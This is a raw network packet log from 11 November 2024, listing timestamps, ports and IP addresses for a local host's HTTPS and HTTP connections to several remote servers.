Nov 11, 2024 19:52:25.298060894 CET	49860	443	192.168.2.5	152.195.19.97
Nov 11, 2024 19:52:25.298115969 CET	49860	443	192.168.2.5	152.195.19.97
Nov 11, 2024 19:52:25.301606894 CET	49860	443	192.168.2.5	152.195.19.97
Nov 11, 2024 19:52:25.301620007 CET	443	49860	152.195.19.97	192.168.2.5
Nov 11, 2024 19:52:25.326385021 CET	443	49861	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.326714039 CET	443	49863	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.326776028 CET	443	49861	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.326920033 CET	49861	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.327110052 CET	443	49863	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.327466965 CET	49863	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.328402042 CET	49865	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.328414917 CET	443	49865	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.340316057 CET	443	49862	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.340365887 CET	443	49862	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.340569019 CET	49862	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.343086004 CET	49862	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.343086004 CET	49862	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.343101978 CET	443	49862	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.343111992 CET	443	49862	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.351196051 CET	49861	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.351196051 CET	49861	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.351206064 CET	443	49861	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.351219893 CET	443	49861	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.354192972 CET	443	49864	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.355485916 CET	49864	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.355521917 CET	443	49864	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.357314110 CET	49864	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.357320070 CET	443	49864	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.363466978 CET	49863	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.363476992 CET	443	49863	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.363524914 CET	49863	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.363531113 CET	443	49863	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.370981932 CET	49873	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.371023893 CET	443	49873	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.371105909 CET	49873	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.375896931 CET	49873	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.375920057 CET	443	49873	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.377945900 CET	49874	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.377985954 CET	443	49874	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.378041029 CET	49874	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.378273964 CET	49874	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.378288984 CET	443	49874	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.379709959 CET	49875	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.379722118 CET	443	49875	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.379795074 CET	49875	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.388648033 CET	49875	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.388663054 CET	443	49875	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.391539097 CET	443	49866	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.391882896 CET	49866	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.391895056 CET	443	49866	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.392205000 CET	443	49866	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.393212080 CET	49866	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.393273115 CET	443	49866	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.394231081 CET	443	49867	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.394496918 CET	49867	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.394531012 CET	443	49867	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.395848989 CET	443	49867	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.395903111 CET	49867	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.396800995 CET	49867	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.396869898 CET	443	49867	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.410512924 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.415330887 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.415674925 CET	443	49871	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.415941000 CET	49871	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.415952921 CET	443	49871	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.416320086 CET	443	49869	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.416487932 CET	49869	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.416496992 CET	443	49869	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.416966915 CET	443	49871	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.416980028 CET	443	49865	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.417016029 CET	49871	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.417032003 CET	443	49865	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.417083025 CET	49865	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.417448044 CET	49871	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.417470932 CET	443	49869	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.417512894 CET	443	49871	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.417522907 CET	49869	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.417893887 CET	49869	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.417954922 CET	443	49869	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.419547081 CET	49865	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.419559956 CET	443	49865	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.419573069 CET	49865	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.419579029 CET	443	49865	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.423074961 CET	49876	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.423099995 CET	443	49876	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.423242092 CET	49876	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.423526049 CET	49876	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.423536062 CET	443	49876	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.425390959 CET	443	49870	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.425875902 CET	49870	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.425884008 CET	443	49870	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.426933050 CET	443	49870	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.427006960 CET	49870	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.427551985 CET	49870	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.427613974 CET	443	49870	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.447381973 CET	443	49864	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.447426081 CET	443	49864	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.447566986 CET	49864	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.447679043 CET	49864	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.447696924 CET	443	49864	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.447707891 CET	49864	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.447714090 CET	443	49864	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.455207109 CET	49877	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.455241919 CET	443	49877	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.455324888 CET	49877	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.456099987 CET	49877	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.456115007 CET	443	49877	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.490211010 CET	49866	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.490344048 CET	49871	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.490344048 CET	49869	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.490371943 CET	443	49871	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.490387917 CET	443	49869	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.492850065 CET	49867	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.492873907 CET	443	49867	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.492886066 CET	49870	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.492906094 CET	443	49870	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.526920080 CET	443	49872	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.527695894 CET	49872	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.527708054 CET	443	49872	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.528702974 CET	443	49872	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.528773069 CET	49872	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.529411077 CET	49872	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.529476881 CET	443	49872	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.544871092 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.547503948 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.547513962 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.547909975 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.549845934 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.549916029 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.556327105 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.556351900 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.556361914 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.599983931 CET	49867	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.600001097 CET	49870	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.600002050 CET	49871	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.600003004 CET	49872	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.600012064 CET	443	49872	23.200.88.35	192.168.2.5
Nov 11, 2024 19:52:25.600039959 CET	49869	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.610596895 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610611916 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610624075 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610656977 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610668898 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610682011 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610692978 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.610708952 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610713959 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.610721111 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610732079 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610745907 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610749006 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.610749006 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.610788107 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.610810995 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.610831022 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610841990 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610852003 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610869884 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610881090 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610889912 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.610889912 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.610893011 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610903978 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610907078 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.610914946 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610922098 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610935926 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.610956907 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.610965967 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610977888 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.610991955 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611004114 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611008883 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611016035 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611023903 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611028910 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611042023 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611042023 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611076117 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611088991 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611094952 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611094952 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611099958 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611110926 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611123085 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611129045 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611135960 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611149073 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611154079 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611160994 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611166954 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611172915 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611186028 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611207008 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611238003 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611238003 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611239910 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611252069 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611268997 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611280918 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611291885 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611294031 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611304045 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611323118 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611325979 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611334085 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611347914 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611360073 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611361980 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611373901 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611392021 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611402035 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611402035 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611408949 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611421108 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611427069 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611437082 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611449003 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611460924 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611465931 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611473083 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611481905 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611504078 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611510038 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611525059 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611537933 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611538887 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611550093 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611557007 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611562014 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611572981 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611577034 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611577034 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611587048 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611605883 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611620903 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611624956 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611624956 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611632109 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611644030 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611655951 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611669064 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611677885 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611677885 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611680031 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611691952 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611699104 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611701012 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611712933 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611725092 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:25.611759901 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611759901 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.611759901 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:25.618588924 CET	49878	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:25.618632078 CET	443	49878	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:25.618709087 CET	49878	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:25.619093895 CET	49878	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:25.619107008 CET	443	49878	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:25.701623917 CET	49872	443	192.168.2.5	23.200.88.35
Nov 11, 2024 19:52:25.732350111 CET	49879	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:25.732394934 CET	443	49879	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:25.732472897 CET	49879	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:25.737257957 CET	49879	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:25.737277031 CET	443	49879	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:25.739095926 CET	49880	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:25.739126921 CET	443	49880	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:25.739308119 CET	49880	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:25.739423037 CET	49880	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:25.739437103 CET	443	49880	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:25.819268942 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.819304943 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.819328070 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.819355965 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.819374084 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.819396973 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.819425106 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.821254015 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.821273088 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.821327925 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.821336985 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.890036106 CET	443	49873	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.899655104 CET	443	49874	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.900286913 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.900310040 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.900343895 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.900361061 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.900397062 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.901335955 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.901352882 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.901374102 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.901397943 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.901405096 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.901421070 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.902287960 CET	443	49875	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.902782917 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.902803898 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.902832031 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.902841091 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.902864933 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.925926924 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.925941944 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.926008940 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.926023960 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.948342085 CET	443	49876	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.971878052 CET	443	49877	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.981153011 CET	49873	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.981281996 CET	49875	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.981283903 CET	49877	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.981316090 CET	443	49877	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.981317043 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.981337070 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.981375933 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.981395960 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.981435061 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.981859922 CET	49877	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.981865883 CET	443	49877	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.982152939 CET	49873	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.982162952 CET	443	49873	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.982176065 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.982186079 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.982208967 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.982234955 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.982239962 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.982247114 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:25.982270956 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.982319117 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:25.982847929 CET	49873	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.982853889 CET	443	49873	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.983665943 CET	49874	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.983692884 CET	443	49874	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.984190941 CET	49874	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.984196901 CET	443	49874	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.984496117 CET	49875	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.984499931 CET	443	49875	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:25.984946966 CET	49875	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:25.984951973 CET	443	49875	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.005511999 CET	49876	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.005531073 CET	443	49876	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.005927086 CET	49876	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.005930901 CET	443	49876	13.107.246.45	192.168.2.5
